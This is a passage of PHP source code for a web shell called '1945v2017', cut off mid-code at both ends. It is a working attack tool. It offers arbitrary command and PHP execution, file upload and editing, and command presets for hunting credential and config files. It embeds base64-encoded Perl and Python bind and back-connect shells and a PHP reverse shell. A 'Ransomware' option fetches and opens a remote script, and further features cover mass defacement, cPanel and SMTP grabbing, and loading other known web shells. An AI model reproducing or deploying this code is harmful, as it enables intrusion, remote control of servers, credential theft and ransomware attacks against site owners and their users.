".$html->a("javascript:tukar_om('menu','upload');","Upload","title=\"Upload file in the server\"")." ]");$li .= $html->li("[ ".$html->a($ak."sql","SQL","title=\"Connect to SQL\"")." ]");$li .= $html->li("[ ".$html->a($ak."php#code","PHP","title=\"Execute PHP\"")." ]");$li .= $html->li("[ ".$html->a($ak."ps","PS","title=\"Display Proccess status\"")." ]");$li .= $html->li("[ ".$html->a($ak."str","String Tools","Encode & Decode Tools")." ]");$li .= $html->li("[ ".$html->a($ak."net","Remote Shell","title=\"Backconnect & Bind Port\"")." ]");$li .= $html->li("[ ".$html->a($ak."mail","Mail","title=\"Send email\"")." ]");$li .= $html->li("[ ".$html->a($ak."rsw","Ransomware","title=\"Carefully,with this tools\"")." ]");$li .= $html->li("[ ".$html->a("javascript:tukar_om('menu','kcy');","kuchiyose","title=\"come your favorite tools\"")." ]");$li .= $html->li("[ ".$html->a("javascript:tukar_om('menu','tools');","List Tools","title=\"toolsate Tools\"")." ]");$li .= $html->li("[ ".$html->a($ak."sh","CGI Shell","title=\"CGI Telnet - Bash \"")." ]");$li .= $html->li("[ ".$html->a($ak."telnet","CGI Perl","title=\"CGI Telnet - Perl\"")." ]");$li.=$html->li("[ ".$html->a($ak."help","Help","title=\"Pusat bantuan\"")." ]");$li .= $html->li("[ ".$html->a($ak."abt","About","title=\"About\"")." ]");$li .= $html->li("[ ".$html->a($ak."log","Logout","title=\"Logout And Destroy Session\"")." ]");$tools = $html->li("[ ".$html->a($ak."config","Get Config","title=\"Get Config\"")." ]");$tools.= $html->li("[ ".$html->a($ak."grabcp","Grab Cpanel","title=\"Grab Cpanel\"")." ]");$tools.= $html->li("[ ".$html->a($ak."jump","Jumping","title=\"Jumping Loncat indah ..\"")." ]");$tools.= $html->li("[ ".$html->a($ak."sym","Symlink","title=\"Create Symbolic link\"")." ]");$tools.= $html->li("[ ".$html->a($ak."jpgshell","*.Jpg Shell (.htacess)","title=\"Bypass shell to jpg\"")." ]");$tools.= $html->li("[ ".$html->a($ak."stamp","Stamped Site","title=\"Stamp this Site\"")." ]");$tools.= $html->li("[ ".$html->a($ak."smtp","SMTP Grabber","title=\"Get SMTP in this server\"")." ]");$tools.=$html->li("[ ".$html->a($ak."rdp","RDP Tools","title=\"RDP tools\"")." ]");$tools.= $html->li("[ ".$html->a($ak."adm","Admin Finder","title=\"Find admin login page\"")." ]");$tools.= $html->li("[ ".$html->a($ak."fake","Fake Root","title=\"Reverse IP and fakeroot\"")." ]");$tools.= $html->li("[ ".$html->a($ak."massd","Mass Deface","title=\"Mass Defacer\"")." ]");$tools.= $html->li("[ ".$html->a($ak."zoneh","Zone-H","title=\"zoneH mass Notifier\"")." ]");$tools.= $html->li("[ ".$html->a("javascript:tukar_om('tools','menu');","Back")." ]");$kcy = $html->li("[ ".$html->a($ak."kuchiyose_wso","WSO 2.5","")." ]"); $kcy.= $html->li("[ ".$html->a($ak."kuchiyose_b374k","b374k 2.8","")." ]");$kcy.= $html->li("[ ".$html->a($ak."kuchiyose_idx","indoXploit v2","")." ]"); $kcy.= $html->li("[ ".$html->a($ak."kuchiyose_1945","1945v1","")." ]"); $kcy.= $html->li("[ ".$html->a($ak."kuchiyose_ayana","Ayana Shahab priv8 Shell","")." ]"); $kcy.= $html->li("[ ".$html->a($ak."kuchiyose_lc","linuXcodev2017","")." ]"); $kcy.= $html->li("[ ".$html->a($ak."kuchiyose_wa","WebAdmin","")." ]"); $kcy.= $html->li("[ ".$html->a($ak."kuchiyose_ms","Mini-Shell","")." ]");$kcy.=$html->li("[ ".$html->a($ak."kuchiyose_noname","NoName Shell","")." ]"); $kcy.= $html->li("[ ".$html->a($ak."kuchiyose_it","ITSecTeam","")." ]"); $kcy.= $html->li("[ ".$html->a($ak."kuchiyose_c99","c99 shell","")." ]"); $kcy.= $html->li("[ ".$html->a("javascript:tukar_om('kcy','kcy1');","Next kuchiyose !","")." ]");$kcy1 = $html->li("[ ".$html->a($ak."kuchiyose_r57","r57 shell","")." ]"); $kcy1.= $html->li("[ ".$html->a($ak."kuchiyose_symb","Symlink Mobile","")." ]"); $kcy1.= $html->li("[ ".$html->a($ak."kuchiyose_symsa","Symlink Sa 3.0","")." ]"); $kcy1.= $html->li("[ ".$html->a($ak."kuchiyose_adminer","Adminer","")." ]"); $kcy1.= $html->li("[ ".$html->a("javascript:tukar_om('kcy1','kcy');","Back ","")." ]");$kcy1.= $html->li("[ ".$html->a("javascript:tukar_om('kcy1','menu');","Main menu")." ]");$html->show("<div id='kcy' style='display:none'>".$html->ul($kcy)."</div>");$html->show("<div id='kcy1' style='display:none'>".$html->ul($kcy1)."</div>");$html->show("<div id='tools' style='display:none'>".$html->ul($tools)."</div>");$html->show("<div id='menu'>".$html->ul($li)."</div>");$html->show("<div id='upload' style='display:none;'><center>");$html->show("<form method=\"POST\" enctype=\"multipart/form-data\">");$s=$html->input("file","filup[]","style=\"border:0;width:200px\" multiple=\"multiple\"","upload file ");$s.=$html->input("text","dirup","style=\"width:200px;\" value=\"".$dir."\"","Upload to ");$s.=$html->submit("uploadfile","value=\"Upload !!\"");$html->show($s);$html->show("</form></center></div>"); if(isset($_POST['uploadfile'])){$file_up = $act->array_upload($_FILES['filup']);foreach($file_up as $filup){if($act->upload($filup['tmp_name'],$_POST['dirup']."/".$filup['name'])){$res_upl.="Successfuly Upload file : ".$_POST['dirup']."/".$filup['name']."<br>";}else{$res_upl.="Failed to upload file !";}}}$cmdinputz = $html->input("text","cmd","","command >>");$cmdinputz.= $html->submit("","value=\">>\"");$html->show("<div id='cmdx' style='display:none;'><center>");$html->show("<form method='POST' action='?__merdeka__=$dir&__action__=cmd'>".$cmdinputz."</form></center>");$html->show("</div>");$html->show("<hr>");$html->show($res_upl);if(isset($_GET['__action__'])||isset($_GET['__files__'])){$__files__ = $_GET['__files__'];$__action__ = $_GET['__action__']; $__merdeka__ = $_GET['__merdeka__'];if($__action__ == "view"){$html->show("<div class=\"action\">");$html->show("<b>Files :</b> ".$__files__."<br>");$html->show("<b>Action :</b> ".$fileman->actionfile($__files__)."<br>");$html->show("</div>");$html->show("<hr>");$html->show($html->pre($fileman->viewfile($__files__))); }elseif ($__action__ == "mkdir") {$html->show($html->h1("Create New Directory"));$input = $html->input("text","mkdir","style=\"width:300px;\" value=\"New_dir\"","CreateNewDir").$html->submit("submitdir","value=\"Create !\"");$html->show($html->form("POST",$input));if(isset($_POST['submitdir'])){if($act->mkdirr($__merdeka__,$_POST['mkdir'])){$html->actdone();}else{$html->actfail();}}}elseif($__action__ == "hex"){$html->show("<b>Files :</b> ".$__files__."<br>");$html->show("<b>Action :</b> ".$fileman->actionfile($__files__)."<br>");$html->show("<hr>");$html->show("<center>".$html->h1("HexDump")."</center>");$act->HexDump45(htmlspecialchars(file_get_contents($__files__)));}elseif ($__action__ == "delete") {if($__merdeka__){$del = $__merdeka__;}else{$del = $__files__;}if($act->delete($del)){$html->show("<script>window.location.href=\"?__merdeka__=".dirname($del)."\"</script>");}else{$html->show("<script>window.location.href=\"?__merdeka__=".dirname($del)."\"</script>");}}elseif ($__action__ == "rename") {if($__merdeka__){$ren_f = $__merdeka__;$acta="<b>Action :</b> ".$fileman->actiondir($__merdeka__);}else{$ren_f = $__files__;$acta="<b>Action :</b> ".$fileman->actionfile($__files__);}$html->show("<b>Files :</b> ".$ren_f."<br>");$html->show($acta."<br>");$html->show("<hr>");$html->show("<center>");$html->show($html->h1("Rename Files / Directory"));$input = "<p>Oldname : <b>".basename($ren_f)."</b></p>"; $input.= $html->input("text","newname","value=\"usos_1945.php\" ","newName");$input.= $html->submit("renamed","value=\"Save Newname\"");$html->show($html->form("POST",$input));$html->show("</center>");if(isset($_POST['renamed'])){if($act->renamet($ren_f,dirname($ren_f)."/".$_POST['newname'])){$html->actdone();}else{$html->actfail();}}}elseif($__action__ == "edit"){$html->show("<b>Files :</b> ".$__files__."<br>");$html->show("<b>Action :</b> ".$fileman->actionfile($__files__)."<br>");$html->show("<hr><center>");$html->show($html->h1("Edit files"));$htmlo = htmlspecialchars(file_get_contents($__files__));$html->show($html->form("POST",$html->textarea("editfile",$htmlo,"")."<br>".$html->submit("submitfile","value=\"Save Changes!\""))."</center>"); if(isset($_POST['submitfile'])){if($act->simpantext($__files__,$_POST['editfile'])){$html->actdone();}else{$html->actfail();} }}elseif ($__action__ == "touch") {$html->show("<b>Create file on :</b> ".$__merdeka__."<br>");$html->show("<b>Action :</b> ".$fileman->actiondir($__merdeka__)."<br>");$html->show("<hr><center>");$html->show($html->h1("New files")."</center>");$inputnf=$html->input("text","filename","value=\"newfile_1945.php\"","File Name");$inputnf.=$html->submit("submitf","value=\"Save !\"");$inputnf.=$html->textarea("newfile","# 1945v2017 by shutdown57\n# Date : ".date('c'));$html->show($html->form("POST",$inputnf));if(isset($_POST['submitf'])){if($act->simpantext($__merdeka__."/".$_POST['filename'],$_POST['newfile'])){$html->actdone();}else{$html->actfail();}} }elseif ($__action__ == "infophp") {@ob_start();@eval("phpinfo();");$buff = @ob_get_contents();@ob_end_clean(); $awal = strpos($buff,"<body>")+6;$akhir = strpos($buff,"</body>");$html->show("<center><div class=\"a_exp\">".substr($buff,$awal,$akhir-$awal)."</div></center>");}elseif ($__action__ == "sec") {$sysfo->SecInfo(); }elseif ($__action__ == "cmd") {$html->show("<center>");$html->show($html->h1("Command : ".$_SERVER['HTTP_HOST']));$html->show("<br>");if($GLOBALS['os'] == 'win'){$cheat = array("Cheat Set :'v"=>"","List Directory" => "dir","Find index.php in current dir" => "dir /s /w /b index.php","Find *config*.php in current dir" => "dir /s /w /b *config*.php","Show active connections" => "netstat -an","Show running services" => "net start","User accounts" => "net user","Show computers" => "net view","ARP Table" => "arp -a","IP Configuration" => "ipconfig /all");}else{$cheat = array("Cheat Set :'v"=>"","List dir" => "ls -lha","list file attributes on a Linux second extended file system" => "lsattr -va","show opened ports" => "netstat -an | grep -i listen","process status" => "ps aux","find all suid files" => "find / -type f -perm -04000 -ls","find suid files in current dir" => "find . -type f -perm -04000 -ls","find all sgid files" => "find / -type f -perm -02000 -ls","find sgid files in current dir" => "find . -type f -perm -02000 -ls","find config.inc.php files" => "find / -type f -name config.inc.php","find config* files" => "find / -type f -name \"config*\"","find config* files in current dir" => "find . -type f -name \"config*\"","find all writable folders and files" => "find / -perm -2 -ls","find all writable folders and files in current dir" => "find . -perm -2 -ls","find all service.pwd files" => "find / -type f -name service.pwd","find service.pwd files in current dir" => "find . -type f -name service.pwd","find all .htpasswd files" => "find / -type f -name .htpasswd","find .htpasswd files in current dir" => "find . -type f -name .htpasswd","find all .bash_history files" => "find / -type f -name .bash_history","find .bash_history files in current dir" => "find . -type f -name .bash_history","find all .fetchmailrc files" => "find / -type f -name .fetchmailrc","find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc","Locate" => "","locate httpd.conf files" => "locate httpd.conf","locate vhosts.conf files" => "locate vhosts.conf","locate proftpd.conf files" => "locate proftpd.conf","locate psybnc.conf files" => "locate psybnc.conf","locate my.conf files" => "locate my.conf","locate admin.php files" =>"locate admin.php","locate cfg.php files" => "locate cfg.php","locate conf.php files" => "locate conf.php","locate config.dat files" => "locate config.dat","locate config.php files" => "locate config.php","locate config.inc files" => "locate config.inc","locate config.inc.php" => "locate config.inc.php","locate config.default.php files" => "locate config.default.php","locate config* files " => "locate config","locate .conf files"=>"locate '.conf'","locate .pwd files" => "locate '.pwd'","locate .sql files" => "locate '.sql'","locate .htpasswd files" => "locate '.htpasswd'","locate .bash_history files" => "locate '.bash_history'","locate .mysql_history files" => "locate '.mysql_history'","locate .fetchmailrc files" => "locate '.fetchmailrc'","locate backup files" => "locate backup","locate dump files" => "locate dump","locate priv files" => "locate priv");}foreach($cheat as $v=>$s){$opt.=$html->option($s,$v);}$val = (!empty($_POST['cmd1'])) ? $_POST['cmd1'] : $_POST['cmd'];$input = $html->input("text","cmd","value=\"".$val."\" style=\"width:400px;\"","1945@".$_SERVER['HTTP_HOST']);$input.= $html->select("cmd1",$opt,"class=\"input_m\"");$input.= $html->submit("subcmd"," value=\">>\"");$html->show($html->form("POST",$input));$html->show("</center>");if(isset($_POST)){$ll=(!empty($_POST['cmd1'])) ? $_POST['cmd1'] : $_POST['cmd'];if(preg_match("/^cd(.*)/",$_POST['cmd'],$m,PREG_OFFSET_CAPTURE)){$loc=str_replace(" ","",$m[1][0]);header('location:?__merdeka__='.$loc.'');}$html->show("<hr>");$html->show("<pre class=\"code\">");$html->show(FileMan45::cmd($ll));$html->show("</pre>");}}elseif ($__action__ == "sql") {if(empty($_COOKIE['hostname'])||(empty($_COOKIE['username']))||(empty($_COOKIE['password']))||(empty($_COOKIE['database']))){$html->show("<center>".$html->h1("Connect SQL")."</center>");$option_sql = $html->option("mysql","MySQL");$option_sql.= $html->option("mysqli","MySQLi");$input = "<table align=center>";$input.= $html->tr($html->td("Connect ").$html->td($html->select("connect_mode",$option_sql,"class=\"input_m\"")));$input.= $html->tr($html->td("Hostname ").$html->td($html->input("text","hostname","","")));$input.= $html->tr($html->td("Username ").$html->td($html->input("text","username","","")));$input.= $html->tr($html->td("Password ").$html->td($html->input("text","password","","")));$input.= $html->tr($html->td("Database").$html->td($html->input("text","database","","")));$input.= $html->tr($html->td("").$html->td($html->submit("simpandb","value=\"connect\" ")));$input.= "</table>";$html->show($html->form("POST",$input));$html->show("<center>SQL Manager with adminer ? ".$html->a("?__merdeka__=$dir&__action__=kuchiyose_adminer","click here","")." Goodlvck Dude. </center>");if(isset($_POST['simpandb'])){$exp = time() + (86400 * 30);setcookie("hostname",$_POST['hostname'],$exp);setcookie("username",$_POST['username'],$exp);setcookie("password",$_POST['password'],$exp);setcookie("database",$_POST['database'],$exp);setcookie("tipe",$_POST['connect_mode'],$exp);$html->show("<meta http-equiv='refresh' content='0;url='>");} }else{ $username=$_COOKIE['username'];$password=$_COOKIE['password'];$database=$_COOKIE['database'];$hostname=$_COOKIE['hostname'];$tipe=$_COOKIE['tipe'];$html->show("<center><h1> SQL iFace</h1><p> Database : ".$database." [<a href='?__merdeka__=$dir&__action__=cdb'>close connection</a>]</center>");if($tipe == "mysqli"){if(empty($_POST['query'])) $val = "SHOW DATABASES;"; else $val = $_POST['query'];$html->show("<center>");$input = $html->textarea("query",$val,"style=\"width:90%;height:200px\"");$input.= "<br>".$html->submit("execute","value=\"Execute query\"")."<br>";$cn = mysqli_connect($hostname,$username,$password,$database) or die(mysqli_error());$html->show($html->form("POST",$input));if(isset($_POST['execute'])){$results = mysqli_query($cn,$_POST['query']);$html->show("<table align=center class=\"a_exp\" style=\"width:80%\">");while($arr = mysqli_fetch_array($results)){foreach($arr as $k => $v){ if(intval($k) != 0 || $k == '0') continue; echo "<tr><td>$k </td><td> $v </td></tr>"; } } $html->show("</table>"); } }elseif($tipe == "mysql") { if(empty($_POST['query'])) $val = "SHOW DATABASES;"; else $val = $_POST['query']; $html->show("<center>"); $input = $html->textarea("query",$val,"style=\"width:90%;height:200px\""); $input.= "<br>".$html->submit("execute","value=\"Execute query\"")."<br>"; $cn = mysql_connect($hostname,$username,$password) or die(mysqli_error()); $cn.= mysql_select_db($database); $html->show($html->form("POST",$input)); if(isset($_POST['execute'])){ $results = mysql_query($_POST['query']); $html->show("<table align=center class=\"a_exp\" style=\"width:80%\">"); while($arr = mysql_fetch_array($results)) { foreach($arr as $k => $v) { if(intval($k) != 0 || $k == '0') continue; echo "<tr><td>$k </td><td> $v </td></tr>"; } } $html->show("</table>");} } }}elseif($__action__ == "cdb"){setcookie("hostname","");setcookie("username","");setcookie("password","");setcookie("database","");$html->show("<meta http-equiv='refresh' content='0;url=?'>");}elseif ($__action__ == "php") {$val = (isset($_POST['eval'])) ? $_POST['eval'] : "echo \"HELLO Noobz! :*\";";$html->show("<center>");$html->show($html->h1("Execute php"));$input = $html->textarea("eval",$val,"");$input.= $html->submit("submitphp","value=\"Execute PHP !\" style=\"width:200px\" onsubmit=\"#code\"");$html->show($html->form("POST",$input));if(isset($_POST['submitphp'])){$html->show("</center><br><br><hr><div id=\"code\" class=\"code\">");eval($_POST['eval']);$html->show("</center></div>"); }}elseif ($__action__ == "ps") {$html->show("<center>");$html->show($html->h1("Proccess Status"));$html->show("</center><div class=\"code\">");$c = (preg_match("/Linux/",php_uname())) ? "ps aux" : "tasklist /V /FO csv";$html->show($html->pre(FileMan45::cmd($c)));$html->show("</center></div>");}elseif ($__action__ == "str") { $str_a = array("url"=>"URL","cuu"=>"convert_uu","b64"=>"base64","b64b64"=>"base64 -> base64","b64url"=>"base64 -> url","b64str"=>"bas64 -> str_rot13","b64strgz"=>"base64 -> str_rot13 -> gzinflate","b64cuu"=>"base64 -> convert_uu",""=>">---------[ Hash ]---------<","md2"=>"MD2","md4"=>"MD4","md5"=>"MD5","sha1"=>"SHA1","sha256"=>"SHA256","sha384"=>"SHA384","sha512"=>"SHA512","crypt"=>"crypt","mdmd5"=>"MD5 -> MD5");$html->show("<br>"); foreach($str_a as $str=>$val){ $opt.=$html->option($str,$val);}if(isset($_POST['encode'])){$o = $_POST['mode'];switch ($o) {case 'url':$val = urlencode($_POST['str']);break;case 'b64':$val = base64_encode($_POST['str']);break;case 'cuu':$val = convert_uuencode($_POST['str']);break;case 'b64b64':$val = base64_encode(base64_encode($_POST['str']));break;case 'b64str':$val = base64_encode(str_rot13($_POST['str']));break;case 'b64url':$val = base64_encode(urlencode($_POST['str']));break;case 'b64strgz':$val = base64_encode(str_rot13(gzdeflate($_POST['str'])));break;case 'b64cuu':$val = base64_encode(convert_uuencode($_POST['str']));break;default:$val = $_POST['str'];break;}}if(isset($_POST['decode'])){$o = $_POST['mode'];switch ($o) {case 'url':$val = urldecode($_POST['str']);break;case 'b64':$val = base64_decode($_POST['str']);break;case 'cuu':$val = convert_uudecode($_POST['str']);break;case 'b64b64':$val = base64_decode(base64_decode($_POST['str']));break;case 'b64str':$val = str_rot13(base64_decode($_POST['str']));break;case 'b64url':$val =urldecode(base64_decode($_POST['str']));break;case 'b64strgz':$val = gzinflate(str_rot13(base64_decode($_POST['str']))); break;case 'b64cuu':$val = convert_uudecode(base64_decode($_POST['str']));break;default:$val = $_POST['str'];break;}}if(isset($_POST['hash'])){$o = $_POST['mode'];switch ($o) {case 'md2':$val = hash("md2",$_POST['str']);break;case 'md4':$val = hash("md4",$_POST['str']);break;case 'md5':$val = md5($_POST['str']);break;case 'sha1':$val = sha1($_POST['str']);break;case 'sha256':$val = hash("sha256",$_POST['str']);break;case 'sha384':$val =hash("sha384",$_POST['str']);break;case 'sha512':$val=hash("sha512",$_POST['str']);break;case 'crypt':$val =crypt($_POST['str']);break;case 'md':$val = md5(md5($_POST['str']));default:$val = $_POST['str'];break;}}$html->show($html->h1("<center>String Tools</center>"));$input ="<label for=\"mode\">Operate :</label>".$html->select("mode",$opt,"class=\"input_m\" style=\"width:300px\"");$input.= $html->submit("hash","value=\"Hash !\"");$input.= $html->submit("encode","value=\"Encode !\"");$input.= $html->submit("decode","value=\"Decode !\"");$vall =(empty($_POST)) ? "// String Tools c0ded by shutdown57" : $vall=$val;$input.= "<br>".$html->textarea("str",$val,"");$html->show($html->form("POST",$input)); }elseif ($__action__ == "net"){$html->show("<center>");$html->show($html->h1("Remote Shell"));$html->show("<b>Bind Port ::</b>");$input_bp = $html->input("text","binport","value=\"1945\"","Port ");$input_bp.= $html->submit("sbp","value=\"Connect !\"");$backc_arr = array("php"=>"PHP","py"=>"Python","pl"=>"Perl");foreach($backc_arr as $bc=>$val){$optbc.= $html->option($bc,$val);}$input_bc = "<table align=center>";$input_bc.=$html->tr($html->td("Server ").$html->td($html->input("text","ipbc","value=\"".gethostbyname($_SERVER['HTTP_HOST'])."\"","")));$input_bc.=$html->tr($html->td("Port").$html->td($html->input("text","pbc","value=\"1945\"","")));$input_bc.=$html->tr($html->td("Method :").$html->td($html->select("jbc",$optbc,"class=\"input_m\"")));$input_bc.="</table>";$input_bc.= $html->submit("sbc","value=\"Connect !\"");$html->show($html->form("POST",$input_bp));$html->show("<br><br>");$html->show("<b>Backconnect ::</b>");$html->show($html->form("POST",$input_bc));if(isset($_POST['sbp'])){$script_bind_port = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";$act->simpantext("/tmp/1945_bp.pl",base64_decode($script_bind_port));$port = $_POST['bindport'];$res = FileMan45::cmd("perl /tmp/1945_bp.pl 1>/dev/null 2>&1 &");$html->show("<pre class=\"code\">");$html->show($res."\n\n");$html->show(FileMan45::cmd("ps aux | grep 1945_bp.pl"));unlink("/tmp/1945_bp.pl");$html->show("</pre>"); }if(isset($_POST['sbc'])){if($_POST['jbc']=='pl'){$script_back_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQokc2ggPSAiZXhwb3J0IFRFUk09eHRlcm07UFMxPSdcJFBXRCBbMTk0NXYyMDE3XSA+JztleHBvcnQgUFMxOy9iaW4vc2ggLWkiOw0Kc29ja2V0KFNPQ0tFVCwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KY29ubmVjdChTT0NLRVQsICRwYWRkcikgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0Kb3BlbihTVERJTiwgIj4mU09DS0VUIik7DQpvcGVuKFNURE9VVCwgIj4mU09DS0VUIik7DQpvcGVuKFNUREVSUiwgIj4mU09DS0VUIik7DQpzeXN0ZW0oJ2VjaG8gIistLS0tLVsgMTk0NXYyMDE3IHNoZWxsIGMwZGVkIGJ5IDogc2h1dGRvd241NyBdLS0tLS0rIicpOw0Kc3lzdGVtKCdlY2hvICIrLS0tLS0tLS0tLVsgNzJ0aCBJbmRvbmVzaWEgTWVyZGVrYSBdLS0tLS0tLS0tKyIgOyBbK10gd2FpdCAuLiA7IHNsZWVwIDUnKTsNCnN5c3RlbSgkc2gpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";$act->simpantext("1945_bc.pl",base64_decode($script_back_connect));$port = $_POST['pbc'];$ip = $_POST['ipbc'];$res = FileMan45::cmd("perl 1945_bc.pl $ip $port 1>/dev/null 2>&1 &");$html->show("<pre class=\"code\">");$html->show($res."\n\n");$html->show(FileMan45::cmd("ps aux | grep 1945_bc.pl"));unlink("1945_bc.pl");$html->show("</pre>");}elseif($_POST['jbc']=='php'){$ip=$_POST['ipbc'];$port = $_POST['pbc'];$sockfd = fsockopen($ip ,$port,$errno,$errstr );if($errno != 0){echo "<font color='red'>$errno : $errstr</font>";} elseif (!$sockfd){$result = "<p>Unexpected error has occured, connection may have failed.</p>";}else{fputs ($sockfd ,"\n=> 1945v2017 shell <=\n=>IndonesianPeople (c) 2017<=\n=>By : shutdown57<=\n");$dir = shell_exec("pwd");$sysinfo = shell_exec("uname -a");$time = Shell_exec("time");$len = 1337;fputs($sockfd, "User ", $sysinfo, "connected @ ", $time, "\n\n");while(!feof($sockfd)){ $cmdPrompt = '1945v2017 ['.getcwd().'] >>';fputs ($sockfd , $cmdPrompt );$command= fgets($sockfd, $len);fputs($sockfd , "\n" . shell_exec($command) . "\n\n");}fclose($sockfd);}}elseif($_POST['jbc']=='py'){$sc_bc_py="IyEvdXNyL2Jpbi9weXRob24NCiNVc2FnZTogcHl0aG9uIGZpbGVuYW1lLnB5IEhPU1QgUE9SVA0KaW1wb3J0IHN5cywgc29ja2V0LCBvcywgc3VicHJvY2Vzcw0KaXBsbyA9IHN5cy5hcmd2WzFdDQpwb3J0bG8gPSBpbnQoc3lzLmFyZ3ZbMl0pDQpzb2NrZXQuc2V0ZGVmYXVsdHRpbWVvdXQoNjApDQpkZWYgcHliYWNrY29ubmVjdCgpOg0KICB0cnk6DQogICAgam1iID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pDQogICAgam1iLmNvbm5lY3QoKGlwbG8scG9ydGxvKSkNCiAgICBqbWIuc2VuZCgnJydcbj0+IDE5NDV2MjAxNyA8PSBcbiA9PiBJbmRvbmVzaWFuUGVvcGxlIChjKSAyMDE3IDw9IFxuID0+IGJhY2tDb25uZWN0LnB5IHwgc2h1dGRvd241NyBcbiAnJycpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMCkNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwxKQ0KICAgIG9zLmR1cDIoam1iLmZpbGVubygpLDIpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMykNCiAgICBzaGVsbCA9IHN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCItaSJdKQ0KICBleGNlcHQgc29ja2V0LnRpbWVvdXQ6DQogICAgcHJpbnQgIlRpbU91dCINCiAgZXhjZXB0IHNvY2tldC5lcnJvciwgZToNCiAgICBwcmludCAiRXJyb3IiLCBlDQpweWJhY2tjb25uZWN0KCk=";$act->simpantext("1945_bc.py",base64_decode($sc_bc_py));$port=$_POST['pbc'];$ip=$_POST['ipbc'];$res=FileMan45::cmd("python 1945_bc.py $ip $port");$html->show("<pre class=\"code\">");$html->show($res."\n\n");$html->show(FileMan45::cmd("ps aux | grep 1945_bc.py"));unlink("1945_bc.py");$html->show("</pre>");}}}elseif ($__action__ == "mail") {$html->show("<center>");$html->show($html->h1("Mail Sender"));$form = $html->input("text","to","value=\"webmaster@localhost\""," To ");$form.= $html->input("text","from","value=\"shutdown57@indonesia.go.id\""," From ");$form.= $html->input("text","subjek","value=\":* kissed\""," Subject ");$form.= $html->submit("sent","value=\"send email!\"");$form.= $html->textarea("konten","// Patch Ur Faces~","");$html->show($html->form("POST",$form));$html->show("</center>"); if(isset($_POST['sent'])) {$to = $_POST['to'];$from = $_POST['from'];$subjek = $_POST['subjek'];$konten = $_POST['konten'];if(mail($to,$subject,$konten,$from)){$html->show("<b> Email Sent Successfuly ~</b>");$html->actdone();}else{$html->show("<b> Email Sent Failed ~</b>");$html->actfail();} }}elseif ($__action__ == "rsw") {if(Act45::getscript("awesome1945.php","https://raw.githubusercontent.com/alintamvanz/webshell/master/awesome1945.php")){ $html->show("<center>"); echo "<script>window.open('awesome1945.php');</script>"; echo "Not redirected ? <a href='awesome1945.php' target='_blank'> Click here nubz !</a> :'v "; $html->actdone();}else{ $html->actfail(); $html->show("</center>");}}elseif ($__action__ == "kuchiyose_wa") {echo "<center><h1>kuchiyose No Jutsu : ".$__action__."</h1>";$html->show($act->kuchiyose($__action__));echo "</center>";}elseif ($__action__ == "kuchiyose_r57") {echo "<center><h1>kuchiyose No Jutsu : ".$__action__."</h1>";$html->show($act->kuchiyose($__action__));echo "</center>";}elseif ($__action__ == "kuchiyose_wso") {echo "<center><h1>kuchiyose No Jutsu : ".$__action__."</h1>"; $html->show($act->kuchiyose($__action__));echo "</center>";}elseif($__action__ == "kuchiyose_idx"){echo "<center><h1>kuchiyose No Jutsu : ".$__action__."</h1>"; $html->show($act->kuchiyose($__action__)); echo "</center>";}elseif($__action__ == "kuchiyose_b374k"){ echo "<center><h1>kuchiyose No Jutsu : ".$__action__."</h1>";$html->show($act->kuchiyose($__action__)); echo "</center>";}elseif($__action__ == "kuchiyose_1945"){echo "<center><h1>kuchiyose No Jutsu : ".$__action__."</h1>"; $html->show($act->kuchiyose($__action__)); echo "</center>";}elseif($__action__ == "kuchiyose_ayana"){ echo "<center><h1>kuchiyose No Jutsu : ".$__action__."</h1>"; $html->show($act->kuchiyose($__action__)); echo "</center>";}elseif($__action__ == "kuchiyose_lc"){echo "<center><h1>kuchiyose No Jutsu : ".$__action__."</h1>"; $html->show($act->kuchiyose($__action__)); echo "</center>";}elseif($__action__=="kuchiyose_it"){echo "<center><h1>kuchiyose No Jutsu : ".$__action__."</h1>"; $html->show($act->kuchiyose($__action__)); echo "</center>";}elseif($__action__=="kuchiyose_ms"){echo "<center><h1>kuchiyose No Jutsu : ".$__action__."</h1>"; $html->show($act->kuchiyose($__action__)); echo 